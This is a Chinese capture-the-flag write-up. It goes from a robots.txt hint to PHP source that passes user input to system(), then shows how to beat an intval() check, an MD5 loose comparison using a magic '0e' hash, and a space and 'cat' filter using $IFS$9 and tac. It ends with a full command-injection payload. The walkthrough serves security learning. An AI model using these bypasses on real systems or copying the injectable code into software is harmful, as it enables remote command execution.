robots文件及inval函数和md5绕过
打开页面,发现有bot文字出现,所以我们可以考虑是robots.txt文件,即访问限制的文件,构造payload
我们可以看见
1 2
| User-agent:* Disallow:/fAke_flagggg.php
|
因此,我们访问/fAke_flagggg.php文件,发现flag{this_is_not_flag},然后我们刷新再抓包,发现回显的包中有一个提示
然后去访问/fl4g.php文件,发现有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);
//level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); }
//get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
|
发现有三层的过滤
第一层过滤
1 2 3 4
| if(intval($num)<2020 && intval($num+1)>2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }
|
其中intval()函数为获取变量的整数值,所以intval()函数的参数如果输入科学计数法的字符串的话,会以e前面的数字返回值,而对于科学计数法+数字的话,会返回字符串类型,本地调试
1 2 3 4 5 6
| <?php $num=3e3; echo(intval($num)); echo('<br>'); echo(intval($num+1); ?>
|
这样就可以绕过这层过滤
第二层过滤
1 2 3
| if($md5==md5($md5)){ echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; }
|
可以利用php弱类型进行绕过,就是当用==对两个md5的值进行比较时,如果md5的值的前两位为0e时,hash值会为0,致使两个不同的md5值相同,不过
所以我们可以使用
来进行绕过,然后写了一个简陋的exp来获取可以使用的数字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
for($k=0;$k<=1000000000;$k++){ $i="0e".$k; $j=substr(md5($i),0,2); if($j=="0e"){ for($h=2;$h<strlen(md5($i));$h++){ if(substr(md5($i),$h,1)<'0' || substr(md5($i),$h,1)>'9'){ break; } } echo $h; if($h==strlen(md5($i))){ echo "0e".$k; } echo "<br />"; } }
?>
|
第三层过滤
1 2
| if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
|
这里过滤了空格和cat,所以,我们可以用$IFS$9来代替空格,而tac来代替cat,所以构造payload
1
| num=2e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
|